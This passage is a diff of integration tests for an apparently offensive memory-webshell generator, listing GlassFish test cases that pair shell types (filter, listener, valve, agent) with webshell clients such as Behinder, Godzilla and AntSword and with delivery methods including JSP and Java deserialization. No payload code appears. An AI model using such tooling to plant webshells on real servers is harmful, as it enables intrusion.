arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
);
|
||||
}
|
||||
|
||||
+42
-42
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -50,44 +50,44 @@ public class GlassFish4ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+42
-42
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,44 +42,44 @@ public class GlassFish501ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+54
-54
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.glassfish;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,56 +42,56 @@ public class GlassFish510ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
